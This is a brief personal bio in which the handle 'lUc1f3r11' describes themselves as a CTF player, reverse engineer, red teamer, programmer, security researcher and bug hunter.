I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…